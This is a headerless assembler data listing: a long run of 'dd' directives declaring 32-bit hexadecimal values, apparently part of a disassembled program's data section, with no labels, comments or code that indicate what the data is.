		dd 0AC8062A5h, 0CD686EE0h, 886932B5h, 3F23AB28h, 0E2080090h
		dd 0E38C6AE9h, 94009A7Ch, 0A31D2F16h, 6140C4C1h, 434D6068h
		dd 0EFC911EBh, 0E6FF2470h, 45180085h, 3BAA993h,	15067926h
		dd 6CCFC66Fh, 0DA4C2239h, 359E9F00h, 570855D3h,	26CA00C2h
		dd 7BD5F3A0h, 0E350DA79h, 2C888F4Ch, 5B3B00E7h,	0C0BFD47Eh
		dd 0BA0CE5DBh, 0E0B317C1h, 15E37957h, 8471EEC7h, 9C9FEC01h
		dd 0C0EDFB51h, 277B1ECBh, 6DA7F407h, 7941DA7Dh,	0EECC67F5h
		dd 78870C20h, 0C279DCDEh, 49C0C7F4h, 96FCCFEh, 723A2E99h
		dd 0C2BA06CFh, 0DDEE8026h, 68101403h, 0CF72B67h, 0FE636DE9h
		dd 48A0EFB9h, 0B9005D9Ch, 0F0DE52B2h, 1459D8h, 690881DCh
		dd 4055501Eh, 0CF7D9D00h, 3EC5EC32h, 2FE140B3h,	791DC000h
		dd 0E5DD6F23h, 8E663063h, 60CFC561h, 0C2A479C0h, 1D6C82DBh
		dd 0CAD5F66h, 0DC29FA58h, 1AC8803h, 35ACCC5h, 0B0BFBB31h
		dd 11004227h, 3B90D27Ch, 31C50776h, 0DA608213h,	5A6D1062h
		dd 2651C088h, 0EB5F6CB3h, 108A74A1h, 46387Fh, 59E8C47Dh
		dd 0AC063022h, 9F34500h, 4319A694h, 65B4A9DEh, 5D5FE0h
		dd 46AD0BD7h, 0C70E139Ch, 59EE3F37h, 0C6F850F3h, 0D9F031h
		dd 582F1108h, 37BC1C21h, 0AD14D600h, 0F1027A4Ch, 8ABA05BDh
		dd 10B73DCFh, 2D1F5884h, 5DD440B5h, 0EEC833B6h,	0A807845h
		dd 8E4640E5h, 0CD030ADFh, 98C3ADDBh, 0C02822A0h, 1E7B8B00h
		dd 0C2085FCFh, 197F60EDh, 28EF0905h, 0E7D10B00h, 88CCD301h
		dd 0F5BF00FCh, 0DB644E9Ch, 0B01CD631h, 780F65E5h, 8B6705FDh
		dd 0E360C007h, 53085D5Bh, 189011D8h, 0F261C3EFh, 1041171Dh
		dd 14691E82h, 7780F812h, 7579AEB4h, 0FC99EE01h,	537BD88Dh
		dd 0E9C23987h, 5243433Eh
		dd 89373175h, 0CA3060C7h, 1CDA83h, 32B0C37Fh, 0EA37199Dh
		dd 0B5047C77h, 0BBAEE410h, 67F9FC81h, 4C2D6D10h, 9747CE00h
		dd 0C7783DD5h, 715A63EDh, 0F5A8DAB7h, 0E00C4C19h, 394B2B26h
		dd 3EE9E439h, 1A8FC232h, 0ADE0E37Dh, 1E57B523h,	67197703h
		dd 0B80B78B7h, 12BBBA3Eh, 0CAAC64h, 5187A6ECh, 450426CFh
		dd 41C5DA9Dh, 8C5E488Ch, 56096CF6h, 0FE04E48h, 6D1EB174h
		dd 11AC2966h, 0D8603C4h, 0E8E9D47Ch, 2A16328h, 79686F48h
		dd 406AD6E0h, 8A7C3C98h, 9400467Dh, 42120975h, 17A5E9Ah
		dd 9F0A3450h, 89594189h, 0AC3371h, 511B3CBCh, 0CC4648F8h
		dd 0E41FD300h, 9242BAEAh, 730DC4A8h, 0DD85F500h, 8D74CD13h
		dd 0A56305A8h, 84F0BE7Ah, 433681DEh, 0C08983D7h, 0B8586AECh
		dd 7A15949h, 0E025FB5Dh, 5C8B6218h, 482BAD83h, 6F24893Ch
		dd 0DBB0605Ah, 712A3378h, 8F74C380h, 29004027h,	2446D444h
		dd 0EAFE34h, 0B962A4C3h, 0C53C97D5h, 0AC154726h, 8000B211h
		dd 0EB6EEF4Bh, 51194210h, 0AE496426h, 7DCEE8h, 0EDFC5A74h
		dd 9336AA34h, 5E2B0515h, 38504CA4h, 30D5C4DAh, 0AD194C79h
		dd 3F35A0BAh, 581211C9h, 0B6E6C820h, 7C9200B0h,	0C66C8C5h
		dd 0AD1ECC58h, 1D417635h, 4911177h, 459030h, 0A336C25Ch
		dd 0C0D43ADAh, 8134963Dh, 26CEA0A9h, 0D7F8E181h, 945E5871h
		dd 2551C281h, 0A179815Fh, 6CEF1461h, 58A8F430h,	5509BEBAh
		dd 0CC8612F4h, 0A4242965h, 5E11B036h, 1034BE01h, 0A861BB98h
		dd 77B3C50h, 0E8706082h, 3D080052h, 90924633h, 0EF3021BBh
		dd 4EC0F179h, 0DEC402B5h, 303551EBh, 5547B4E0h,	7AD5430Ch
		dd 6B12A1A6h, 8D007166h, 6B146EECh, 496DB25h, 0D88812DFh
		dd 9C0900CFh, 72D142BEh, 5E0195C1h, 620EAB5Fh, 0A09F5851h
		dd 82002297h, 7A359B25h, 72AEBF6h, 5C2A298h, 928FF478h
		dd 0F8643F58h, 1B0EE0B0h, 0C00D5203h, 0C55B2906h, 182F00AEh
		dd 8545D0F3h, 4612570Fh, 0A4302821h, 0D3A00Dh, 7C8F1CBBh
		dd 8ECE5742h, 6DE0B609h, 8AAC8401h, 0A6B84C40h,	48009A10h
		dd 696435D9h, 46833E1h,	0A22B5C47h, 0A0D880E9h,	0C62C41DAh
		dd 4F088CCDh, 7DEF0CC0h, 507E5549h, 0A94DD400h,	7B2AFBE0h
		dd 4E710083h, 0CFFA7412h, 0C5008CE5h, 26222FC3h, 1DACF2C2h
		dd 85AB47D8h, 0A3A5545h, 0ACACEEC0h, 0D5A81EA8h, 2020F418h
		dd 0DC4C3226h, 8B5725E0h, 0A8CE48A2h, 40B25139h, 6C10EA48h
		dd 0F609B59h, 5D2161BAh, 80C43AA4h, 0A78A519h, 60E5C5h
		dd 9A69A70Fh, 2BDF3721h, 900BC91h, 7045AA27h, 82860E0Eh
		dd 1440C8A8h, 0C47AD8BBh, 0DF5F1288h, 8D33C331h, 982859EFh
		dd 0E3619CDDh, 4ECDC5C1h, 883C29A8h, 0B339DCh, 6594CE64h
		dd 88674E7Fh, 0DF53E201h, 0C03C4FA0h, 6F438270h, 0F68031E4h
		dd 0BF9FAB24h, 0C9D83E17h, 6A47EB02h, 4C4880F0h, 0AD10866h
		dd 0DA617F4h, 159032C9h, 5A3DA882h, 11680F09h, 0C4F6BE00h
		dd 9F1DD455h, 277CB600h, 374F0A26h, 1CCF0017h, 6194ED06h
		dd 82845C7h, 6C22B85Fh,	0D842305Bh, 0F682F9A1h,	209FB600h
		dd 0DB267BFBh, 0BCF10057h, 0F70DCD2Ch, 7C13DA67h, 0EC08C683h
		dd 623C02E7h, 2CE3A594h, 0EC55BCh, 0B9D90C41h, 3AD4B21h
		dd 0B75764B4h, 56B8628Bh, 975CC5E3h, 8E80E40h, 0FCD5A03Fh
		dd 64BEC9h, 6DDAADF4h, 0DE84EA44h, 1988C518h, 3021C0h
		dd 3FD3DD6Ah, 0D87DEE67h, 0D8702E4Ah, 423615h, 0D7523DFh
		dd 0E8A38D1Ch, 2B278808h, 486F8067h, 1FE8546h, 971EF0F8h
		dd 5A19D629h, 860C2869h, 0C854EC83h, 0FEFEC422h, 0AAD22300h
		dd 4DDE2A83h, 33CD0201h, 492D6CABh, 442518E8h, 0BA52700h
		dd 671A8EBFh, 0A2100D3h, 0C77ED410h, 3D0BC22Ah,	349295Ch
		dd 7B2EFD4h, 0F5FACE61h, 63FF4047h, 0BB18ABB7h,	0A4E9EA3Ah
		dd 6876014Eh, 0A9DF78DEh, 0D828CD03h, 0F70092F9h, 0A85DB4DBh
		dd 5F10C1h, 0AE4BA56Dh,	0C93B5ABAh, 284E434Bh, 23F72073h
		dd 38B8C177h, 2000F0FDh, 0C26BAC34h, 521DF3E1h,	41D36D4Eh
		dd 0AD09245Eh, 0C9700532h, 93604CC0h, 0FCD8254Eh, 0F758AC80h
		dd 3578C2A9h, 0F1526h, 108BE60h, 8C1F50ACh, 0B1B74DBh
		dd 0E045675Dh, 15C24010h, 0F163D50Ch, 0DCE9F9h,	9EC71345h
		dd 3F3B9409h, 262098B0h, 1224B0FCh, 5855988h, 0C0CA9CC9h
		dd 9B9FF88Ch, 6A5E7B01h, 0DDED7837h, 0A5D5F19Ch, 0E94E0820h
		dd 4B51836Ch, 8463BCh, 0DF2028F7h, 0DD1FF1h, 0AF0450EBh
		dd 0CA339D93h, 5DF8C408h, 0F10B3CE0h, 0E852060h, 388C23FCh
		dd 40086CC1h, 2AA4710Ch, 0D24C040Bh, 0E6A885B4h, 8C45F88Ch
		dd 0C28D5A00h, 0F0A261A4h, 0C7712042h, 0FD402601h, 3C013EF5h
		dd 184131E4h, 49556CF2h, 0BA7335E2h, 0ADF61D03h, 0ED26ACE9h
		dd 158FC08h, 0D87925D1h, 56F111ECh, 0F0DFE13Bh,	0EF0B9B89h
		dd 904C0365h, 3BF70F4h,	0E885DB0Bh, 1FC03DC0h, 0F803679Fh
		dd 38AEBD88h, 0F05493DCh, 2B6CBC13h, 0E426CFh, 9466426Eh
		dd 76620FD5h, 484512E1h, 58D65C0h, 0A853221Fh, 59EBC03Ch
		dd 61078174h, 452F3F2Dh, 873C9E4Fh, 9EFEDF0Dh, 0C7EEC540h
		dd 0E1770010h, 165CAD80h, 0A8EC20ECh, 593C38C2h, 945E2169h
		dd 2B8DC0CBh, 2C4CCA00h, 8B66EE2Ah, 87FC5Dh, 0AC6C4E3h
		dd 9C1412B4h, 30AC7A40h, 614032FAh, 373944B5h, 8A116319h
		dd 24A10038h, 558CBF64h, 1B732FD7h, 8599360Ah, 2A086016h
		dd 0EA0A437Eh, 0DC1CC8F6h, 7298BBB5h, 32CA429h,	0A5288BDDh
		dd 697C8A7Bh, 1ACD1D04h, 0B3C0D204h, 3CAF8FBh, 0F2D1DD95h
		dd 0D7FB0D01h, 46C5B890h, 57694F60h, 7F568Ch, 43F90BE8h
		dd 0D5F4611Ah, 0DC10C170h, 218FC501h, 7580FE00h, 0BD5066EFh
		dd 9F7EB2A4h, 0C6F67700h, 0C4820C68h, 8844E1B5h, 15984E86h
		dd 0B4F9EA20h, 9448F77Ch, 0E04470BAh, 0F710183Eh, 8A0A917Fh
		dd 15D11E63h, 0F0390FB1h, 0B7E78FCAh, 67A000A5h, 1E01CB2Ah
		dd 83A12286h, 9A217FF6h, 0E10048h, 1BDC7CFFh, 8CEBFB1Ch
		dd 0E20C9E00h, 9D30D571h, 0B4900101h, 37FDAC3Dh, 3FD4527Dh
		dd 906D7523h, 178E340h,	5299CDB9h, 0C8BE3A4Fh, 0C6067B48h
		dd 6B85818Eh, 0DD300031h, 295D16BDh, 18004C3Dh,	4C2D357h
		dd 18125FFCh, 0E16E0E3Eh, 0E92766h, 3FFB64C0h, 560F8DFCh
		dd 0C6C05054h, 0D228AD86h, 9453D306h, 1839FF1Fh, 71F9B648h
		dd 4C605AA4h, 0C1235218h, 3DAA0B92h, 770091A7h,	0E712B571h
		dd 52C2F401h, 0EE3572C8h, 0AE77D8h, 3E1FF0A8h, 70BA4AA2h
		dd 118F9D00h, 7962B9ADh, 0D30D6CEh, 0E03850C4h,	2031C15Fh
		dd 0C95B18CFh, 0DC785180h, 0DD1AF3F1h, 0A7191C03h, 89A646ABh
		dd 38861707h, 517CC152h, 647F711Fh, 0F022F10Ah,	9173940Ch
		dd 313930CFh, 0CAF9E731h, 0BF2561C3h, 4A1800C9h, 447427C0h
		dd 75000528h, 0EA4BF3A5h, 1205436h, 8EFAC09h, 84428B8Eh
		dd 225AA849h, 46654440h, 19006317h, 0F5E37951h,	3E8F30E9h
		dd 0E5B82124h, 0B1EA9B00h, 0AE2C20EDh, 0F9E0650Dh, 0B9E041CBh
		dd 759DEB7h, 0C09B75D8h, 2F3D45D3h, 6023CF06h, 2163C1h
		dd 0F58F7024h, 6B9DF3DFh, 0DC76D300h, 68E9B0F9h, 4B691E5Eh
		dd 0D75BCC6Fh, 0A53D0261h, 6C278008h, 733B2DDBh, 4A9B006Bh
		dd 3FFDAB8Ch, 81CA0274h, 0EF08CC48h, 12003DCAh,	0EC705C84h
		dd 0EE2806B8h, 0D314F00Ah, 58AD0E0Bh, 0D4CD1542h, 642254h
		dd 0FB3D7C09h, 0B98AB5F1h
		dd 0B0203E00h, 0D844A241h, 13D302F0h, 0C2F2E02Bh, 89EC3A20h
		dd 0B9252A7Ah, 7D3201CCh, 2374E00Dh, 0E0802F03h, 18B64520h
		dd 39C55BFBh, 31014B40h, 0E9F791Dh, 4883156Ah, 0EEEFCF7Eh
		dd 3CC1D924h, 7A84E640h, 0A00E0D06h, 0A202C2BEh, 3F002818h
		dd 0B14FDD8Fh, 460C7BEh, 61705A1Bh, 5B588849h, 0CCB89B06h
		dd 7F61CBD3h, 0A2160C1Ch, 0D26968B5h, 316B2437h, 0A62636C0h
		dd 0CFB8A8h, 0A54A7A49h, 21E036Eh, 0ACD5AD28h, 0BFF80179h
		dd 3718BE71h, 0F691C85Bh, 1D8600BAh, 0BF5F305h,	0B9005435h
		dd 0A85E3AEEh, 618B84D3h, 9CA789E5h, 0F89BED01h, 1DECCD28h
		dd 0ACEBBB28h, 0AF72AE00h, 0FD828FB1h, 608BECD0h, 212639DBh
		dd 6A002E15h, 0DE5646E7h, 71E30Dh, 5F25B63Dh, 2A47D3F2h
		dd 304AEC3Ch, 4BB9F9F1h, 58F1D165h, 9DB10C00h, 36B51E02h
		dd 0A5058003h, 0D0CB9CAEh, 22CCB2D3h, 0A81834ECh, 2539235Bh
		dd 84C300A5h, 2B692E6Ch, 0C4765DD4h, 6843B407h,	4D70387Dh
		dd 9217AD3h, 0BE2547C9h, 5ABB1420h, 0AB00CBEBh,	4DEF856Dh
		dd 69A3C2h, 91A95567h, 6670A54Bh, 0F7E1D306h, 80705316h
		dd 0EE4E76B8h, 0D2EC0893h, 0CE1D6D27h, 167BAD00h, 751AAF1h
		dd 0D80612FAh, 0C4AB7545h, 60580C7Fh, 2100BC31h, 0E4A25C1Dh
		dd 63EECFADh, 60C1E1F9h, 0DB3700A4h, 0DD42A1h, 7F69B255h
		dd 0BFD00C77h, 0B4ED7105h, 0FC487825h, 1BD880CFh, 16C0C96h
		dd 5E4EFE00h, 3426B71Eh, 0F27602D2h, 0F6E75430h, 6E3FC066h
		dd 0EDB61823h, 12424F3Eh, 21AFC6C9h, 80EF8A00h,	948DB399h
		dd 65663Ch, 0DC89ADCDh,	6142BB96h, 0CE905054h, 60C27B3Ch
		dd 0ED80B5C1h, 8CBB00FAh, 0A2428FD1h, 4A3A4D67h, 0FBAA80E8h
		dd 61A9A694h, 4180E544h, 140128D3h, 0F228AF82h,	5B34A02Bh
		dd 7C806147h, 0AAD7178h, 254B7051h, 82DB041Ch, 0A31380B4h
		dd 31C33F17h, 0CE2EDCFh, 0CDFDE7C1h, 7309AEF9h,	243BB884h
		dd 0ECC857D4h, 31E1608Bh, 0A70C8C17h, 3E206803h, 0C8BE6448h
		dd 4CF625E2h, 74316C1Fh, 8C676E90h, 61DE5BF1h, 9234000Eh
		dd 2B5E50ADh, 0DD005C42h, 7DC36C6Fh, 60254DE3h,	0FAF771A3h
		dd 1E00E79Dh, 0A0EE4A7Eh, 2E2DF88h, 0A7A5DC12h,	9064C273h
		dd 0DB9D321Fh, 3A2F8740h, 0EE46E2h, 98FBFD74h, 6AE13E22h
		dd 8CFE889Ah, 0B100DCA4h, 0FF8E9297h, 3B1A01D4h, 395B59Ch
		dd 7D74C0E0h, 0CFB9C4FAh, 2550C8D5h, 274C4A78h,	0ACD3C758h
		dd 0E1A16403h, 7E07CA9h, 16209050h, 10ABFC45h, 0F7B0A404h
		dd 24009DDAh, 0E05D2365h, 0A89317h, 676F9A14h, 2BFD1170h
		dd 105C7300h, 0B66C7436h, 0A850023Bh, 0C8EAC9D2h, 0CFF8E090h
		dd 64B93784h, 0DD5A8219h, 82B07520h, 4D543FD7h,	9F3A2280h
		dd 0E1F5034Eh, 0E5734B01h, 24D3AA7Ah, 7C005822h, 9E505C4Ah
		dd 253078C6h, 5547C1B8h, 0BA3900DFh, 19D69F09h,	0A7719B87h
		dd 797EC230h, 0C01AE550h, 7FBE1806h, 0F7001BEFh, 8375FDCFh
		dd 48D06695h, 4DC0A08Bh, 3B1AB8AAh, 73F98900h, 0C415C20Dh
		dd 905BE205h, 61CB45CCh, 0E07C1240h, 0B8165310h, 41A5F684h
		dd 6F9AE936h, 0E139A182h, 90306A00h, 0E82B88DDh, 99A77500h
		dd 59A6E98Bh, 0EC810FADh, 13C6D2CBh, 2A0040B9h,	6A08D3B1h
		dd 24AA7461h, 24CC8171h, 17682460h, 35C205Bh, 0F3005E30h
		dd 0C8D3FA7h, 0CA7EB9h,	6DF08EF8h, 49EF9528h, 0FF4EAF07h
		dd 7253D3D9h, 5A25E954h, 544B61F8h, 0CB8AB0A4h,	308F5209h
		dd 0A1712AC0h, 81C27B74h, 0A178C16Ah, 926D8FB4h, 2C1325F8h
		dd 4E20C263h, 809DF0C7h, 9BDC8840h, 3B9F254Ch, 0BD80137h
		dd 0EA23F91Fh, 0B2C6EC30h, 0A9C900B0h, 0E57F610Ah, 0E067DABh
		dd 0CCD5B6A2h, 0A6243021h, 536E2D99h, 51583203h, 9D15D9F6h
		dd 0CAE1CC04h, 4419F14Bh, 9F10323Dh, 9A8B82C0h,	1443E6C3h
		dd 0D075BBCBh, 1C32F380h, 0F007EF21h, 0AD4950B9h, 0C6B4843h
		dd 0A24A61D9h, 0E0608B89h, 0A3BDE71h, 0D61700E5h, 90A2A341h
		dd 0E0098F9Bh, 4818DA9Ah, 18B9638Ch, 39C68B23h,	55002D9Bh
		dd 0E5F4ECF3h, 0B2F236h, 0C493D673h, 265BFD03h,	0C3E05204h
		dd 7CC139BFh, 57E04FD2h, 7FAB0082h, 7460FDAFh, 3A003762h
		dd 0C8C7175Bh, 887363B9h, 0D03F3F4Eh, 8F6048E2h, 81E34085h
		dd 0F40DF825h, 0EC7B0141h, 0E75FC771h, 1F4062FCh, 7A138B01h
		dd 1EC83051h, 182212B5h, 0C9ED39C9h, 370089E7h,	0A2B96401h
		dd 0C9755B8Bh, 6099F319h, 2C200938h, 0C1561896h, 0F08C5162h
		dd 80B9833Ch, 8A2C4276h, 0BDC11C4h, 0BC7768CAh,	40A6E805h
		dd 66170EBCh, 7B02BA1Dh, 1A25600Ch, 8C944926h, 0DD2CC30h
		dd 0AFD4CF79h, 3CAC3689h, 4EF50336h, 337ECCFh, 3FF2A891h
		dd 0BCE9ABE9h, 1DE4246Eh, 6CB9DCA8h, 0E0A90494h, 0A1193380h
		dd 4DD92Eh, 9DDC32B0h, 17F997D6h, 8FF15F03h, 117E91D5h
		dd 5166B540h, 839428B4h, 49B25B25h, 8AC5E851h, 71F8053Ch
		dd 0EA64C825h, 4C73Eh, 0BC8D85C2h, 518B46EEh, 0DAE120D6h
		dd 807DC111h, 0F7D08471h, 90DCECE2h, 1FC0138h, 6B452608h
		dd 0FF4228Ch, 0E3C71C57h, 0E46206E0h, 0ED55088h, 95272697h
		dd 0B6FA19C0h, 8C00879Eh, 64F31F9Ah, 11C4E7C5h,	3B1C16Ch
		dd 0DAD6534Bh, 0E6902277h, 0A2AC1C50h, 10443758h, 5B12CA34h
		dd 91240089h, 743B8422h, 8439643Ch, 0C8D17B5Ah,	42D4B08Dh
		dd 308900FCh, 0E6CA2C36h, 0AE008891h, 0A7255945h, 3CDE92CBh
		dd 220028F6h, 0C00194FAh, 0BEF8FDF2h, 208E2B37h, 63277280h
		dd 0E05009Fh, 5F339B6Fh, 0E503D73Bh, 0F6FE7CBBh, 0FD280F9Ch
		dd 0AB409811h, 0D3212CC6h, 939E7000h, 2BDB7129h, 1851C18Fh
		dd 20B90FE0h, 9500C5DBh, 0B12C56D4h, 60D04AEh, 44FB3CBCh
		dd 353A88F4h, 3B4B408Ch, 7080F2CFh, 2F71667Dh, 3730725Eh
		dd 0E74E218Dh, 4A130003h, 3E7A6F7Eh, 81064BF9h,	0BD0FC93Dh
		dd 2BE8C688h, 6C0089E1h, 0B8C36674h, 0BD589Bh, 54978087h
		dd 597D503Fh, 0BE5C7003h, 19EA50Dh, 0D843D908h,	0F04BCC31h
		dd 9A0CA4BDh, 512D0FDFh, 364418C6h, 716491C7h, 5DA5980Fh
		dd 0F2A62077h, 67BF337h, 35964D46h, 0F50029C6h,	470A0B1Eh
		dd 3AF82E12h, 0FB839826h, 23EB8E9Fh, 0C0418AA2h, 853180DEh
		dd 468C38E6h, 0F2780048h, 12F823ABh, 5500F631h,	0CB911976h
		dd 54F79405h, 3CC9Bh, 8B85B348h, 955C72EBh, 92965B1Dh
		dd 0FF0DDFC4h, 64BDC540h, 11C0FB2Ch, 439935B5h,	3B1506DBh
		dd 519EF680h, 0C8016600h, 0D824E8BFh, 33DB078Ch, 0A14CC9DCh
		dd 0EF72210Dh, 4900FE93h, 9434E07Dh, 922CFB5Fh,	0A65D0730h
		dd 82A2ED48h, 8640E3DBh, 0F8005667h, 76F5BCAEh,	0C005F779h
		dd 73817271h, 2376D13Dh, 0BD88E80Eh, 22A4540Dh,	9F41078Ah
		dd 10B11DFCh, 0F847DFC5h, 3F9481C2h, 0BAD2606Eh, 8CC6067h
		dd 0D1783452h, 350CE700h, 4BF330FDh, 7DEA00A2h,	20D54269h
		dd 4760E3E6h, 6A735439h, 8620096h, 0E511BD0Eh, 0F213BEFBh
		dd 471865D0h, 0C06DE328h, 342E1A31h, 0F3005714h, 0C3FDFE1h
		dd 0B051E770h, 8D50005Eh, 0C464915Dh, 5B00F4EFh, 5ABCA4D0h
		dd 606BCC8Eh, 8D4951C0h, 4800E71Eh, 0C4E4E147h,	0C3C30667h
		dd 0AA7515C0h, 841CB8D8h, 121103Fh, 0EBFD623Dh,	8986583Fh
		dd 30B78351h, 0C760C9F0h, 0A9C81959h, 0CEC1001Eh, 0FF0CDF95h
		dd 0AE1CABACh, 0F380F40Fh, 0BBF58677h, 5AF7004Fh, 9BFC81BDh
		dd 0A60B7D6h, 0E29A1C81h
		dd 0EB69C14Ah, 0F462BDCFh, 6F015EA6h, 29971B23h, 0B850CB67h
		dd 9AB54Dh, 0A9A49D78h,	30D56EAFh, 3AE6343Fh, 0D9A30C4Fh
		dd 60C968D6h, 7309A9C6h, 84006089h, 62B7EF1Ch, 0A2BAC9Ch
		dd 0D17D545Bh, 0FAC4386Ch, 0F0830F09h, 30187C6h, 0AA369951h
		dd 166CC4Ch, 0E0F8B54Fh, 208F5BAFh, 0B403C8A8h,	697BEA87h
		dd 8042EBC1h, 622FC62h,	68CC9B14h, 643D61BEh, 5B9103B8h
		dd 0E4A32Eh, 8243A781h,	22E0AA6Bh, 189574Ch, 0AD6AA3B0h
		dd 8050CAD0h, 0C0C5C91Ch, 8AD23649h, 1500704Eh,	8949239Dh
		dd 30E66F1Eh, 0A131D767h, 1A006E2Ch, 8FBC7FCCh,	0EDEBBDh
		dd 0CBCE2B62h, 0C5F44D38h, 8A7D0938h, 485251D6h, 69C2C90Ch
		dd 78930198h, 55A1CC4h,	1BF1CC4Dh, 21C8CA30h, 17480A94h
		dd 0B88E1Fh, 1618E3B2h,	0FB005A21h, 0CFEAA5B4h,	3E6AC08Dh
		dd 5B1F1390h, 16A17069h, 0B877E841h, 374CCD48h,	546019CEh
		dd 0FF3181h, 0D8A05869h, 7C2E5523h, 9E095100h, 545A96F0h
		dd 0D2B000C1h, 0A5F84EFh, 0BC15D805h, 0D459E3h,	5C6181CCh
		dd 18937183h, 61A68791h, 21002EFCh, 385D6B37h, 90DA7D0Dh
		dd 0E0881174h, 0AE22C1h, 5A90DCFFh, 22F6BCDBh, 1A21321Dh
		dd 0CD871780h, 0E0E5F568h, 5949012Eh, 554F9BF4h, 8008BCF3h
		dd 0A23B241Ch, 3D69FD9h, 0E2960BEFh, 8844FD6Eh,	0D2781478h
		dd 950A8000h, 0A3973809h, 1727456h, 0D9F1E5CDh,	0AD53E322h
		dd 20F0D9h, 9E415F03h, 2F08C5ADh, 1ACFA001h, 8750FAEFh
		dd 0A0E97FE7h, 7CAB2C4h, 0D9F9CF2Ah, 2143B35Bh,	0C9F3B00Ch
		dd 63E3E97Eh, 8F606151h, 77043FD8h, 4A228404h, 6F80FB01h
		dd 0A41762Ah, 48EBD799h, 5670918h, 0FA74E820h, 8004754h
		dd 14940EC4h, 613E371h,	67BD9C01h, 0FE00F1D1h, 8ED9CF91h
		dd 13BC71Bh, 4A96A3D5h,	0EB436F9Dh, 0BBD9780h, 89AD030h
		dd 32AD2304h, 0F441FAD4h, 5801F046h, 2CDE1242h,	0A060A771h
		dd 0BC260011h, 9A34845Bh, 20246ACFh, 0F450A0E8h, 0AC0200F8h
		dd 59FE735Fh, 69029F65h, 0A2F15B06h, 93FC01D0h,	0C6EFE057h
		dd 7EE9D900h, 9E20FE8Ah, 95E50041h, 485B4DC2h, 3E26EABCh
		dd 8442982Ah, 0E39920C0h, 19C4FE89h, 0C946D386h, 400089ABh
		dd 0E48444Eh, 0BB79C5h,	3F09BD77h, 985BD1A7h, 460FD5FAh
		dd 8337CF97h, 1D9140ECh, 20D86751h, 0D080FF03h,	0F84FFC21h
		dd 0F2EC98h, 0BB38DDA7h, 0E7DA8558h, 4A818C07h,	80C2D697h
		dd 0C07844BDh, 0C8642291h, 49161CEEh, 40F1EACh,	3EEB8256h
		dd 0A68B2151h, 7422102Bh, 0FB1A01F1h, 2088913Ah, 0BDF03412h
		dd 0BCB68B18h, 6043EB29h, 0DF24162h, 5C61E2F9h,	2FC44D11h
		dd 0A98F1DCh, 0B0805BF8h, 50811298h, 0E9229818h, 5047EB14h
		dd 111A3C24h, 510A4A3Ah, 264CE77Eh, 0D1800684h,	4244E0BFh
		dd 1410299h, 0DBADBCCCh, 18121D63h, 82764D1h, 3088D2C4h
		dd 427090F3h, 19D1306Dh, 8A28CEh, 5B64384h, 0CABC066Dh
		dd 0C5CF4C0Dh, 9033E07Bh, 0A1B1000h, 0BBCCD640h, 43C1F707h
		dd 1AF07146h, 125B9285h, 30BF44C8h, 2D3B43ECh, 12D16E1Ch
		dd 148722C0h, 72FA9DE8h, 0ECC64C84h, 622500DFh,	4E5B9F42h
		dd 0EE7FC403h, 0C3306B98h, 6823E835h, 0A6B6147Dh, 3E84A041h
		dd 5077414Fh, 8B7BE02h,	0A4898B58h, 3700F094h, 0C6765D5Ch
		dd 0F290F5h, 910338FEh,	0BF48D53Ah, 820C890h, 6AD111C3h
		dd 7CD22EBBh, 307A1EBAh, 8800BE5Dh, 0A3F2BFCEh,	8369C0B6h
		dd 0D912011Fh, 0CDAE941Fh, 96000753h, 0D150E5D2h, 0C6C80C34h
		dd 0C2313ECCh, 46F25C7Bh, 0C108F0A4h, 8DE48751h, 8029C4C9h
		dd 0DFCBF74Ah, 9A3E81h,	69FA97A9h, 22FB5276h, 99C9AD00h
		dd 0EF371923h, 0A85C9121h, 29C24238h, 68A9982Ch, 0B5D1AD83h
		dd 0A2E3A3F3h, 0F2544002h, 7911001Bh, 5B9E84FBh, 74B017BFh
		dd 2D06A22h, 0C8B9676Fh, 35FEDA49h, 87B0FE01h, 0B46080F3h
		dd 80B8B11Ch, 86C637E8h, 8A2E3A95h, 0F41614C3h,	0BF2EC00h
		dd 78214457h, 0EFCB162Ah, 33DC167Ch, 53E07890h,	0B8030510h
		dd 82A9F4ACh, 0E06EC887h, 1B982CA2h, 4CC43B24h,	0C8E2E1Fh
		dd 9A969F00h, 44CCF5h, 0FCAF522Bh, 73395515h, 7B51D514h
		dd 3B1C8080h, 0BA918D6Ah, 22D242A0h, 153400B0h,	0A140A90Fh
		dd 0CC002631h, 0AF049617h, 243E0E9Bh, 82E579D4h, 0C6FE408Bh
		dd 820E041h, 6492003Bh,	2A455514h, 4B007B5Bh, 627FDF1Bh
		dd 0C38643D1h, 0E0D5AD69h, 6734F97Ch, 704019B3h, 0A644F864h
		dd 1E0A7E35h, 0FE2EE2h,	0DF1D4390h, 0F3090104h,	8C99E43Bh
		dd 12C2818Ch, 4009695Ah, 7B6F906Ch, 0E8007FDBh,	76B624CFh
		dd 1225F397h, 8844E321h, 9A88C090h, 0F960B005h,	7D3A6841h
		dd 5862C8FDh, 0C00EC71Dh, 0C42E3CE7h, 4914B90Ch, 11A8E4BCh
		dd 0EB13E983h, 0CD786444h, 5884375Ch, 852209B4h, 7A40009Eh
		dd 25F6EC9h, 867F6F1Bh,	0CC4664CCh, 0B290877Ch,	0E043A41Dh
		dd 951F8F01h, 0A8F146E9h, 91A3A092h, 0D9D5DEF4h, 0D801E011h
		dd 0BFB83300h, 5594D34Bh, 40542C5Fh, 42BC2006h,	0E5C22C9h
		dd 97D09492h, 5C091889h, 40B03844h, 0EDA33700h,	0A59BBEC2h
		dd 85FE3266h, 0C466B4A8h, 63A3CB44h, 9EC91EEh, 0EF74180h
		dd 0B305937Fh, 0AD1C16CCh, 0BDD43C47h, 2D268660h, 0EE8A4CBh
		dd 0C5A5D278h, 0C50A6E05h, 261E8724h, 810021B1h, 44ABB73Ch
		dd 0E17916h, 269396ADh,	0EAE792F2h, 4E74D2F4h, 0BA312C62h
		dd 0E2A44017h, 5A428859h, 810CA101h, 0C7AD9FF1h, 151C7029h
		dd 1EA080EBh, 388B03D7h, 0D25A8000h, 103B60EAh,	0E3201873h
		dd 0A730495Bh, 0CF2DAD00h, 0F2D6F482h, 646951D0h, 67001433h
		dd 2BF03707h, 24076BBFh, 28B17D5Ah, 186F1E70h, 1C804AC2h
		dd 5300E2A8h, 556C39D1h, 280405h, 348ABF74h, 0DD478454h
		dd 9C7F9824h, 7AC6B260h, 0D283004Dh, 6F0D875Dh,	0AB006A84h
		dd 0FD756E63h, 2CE4212h, 0ADC340DDh, 0C0C84FDEh, 0C75041D1h
		dd 9A884A58h, 246B7DABh, 5096794h, 829C40D0h, 0F491E0C4h
		dd 0BE910E8h, 6F00083h,	1DC64214h, 7891DDADh, 6E056780h
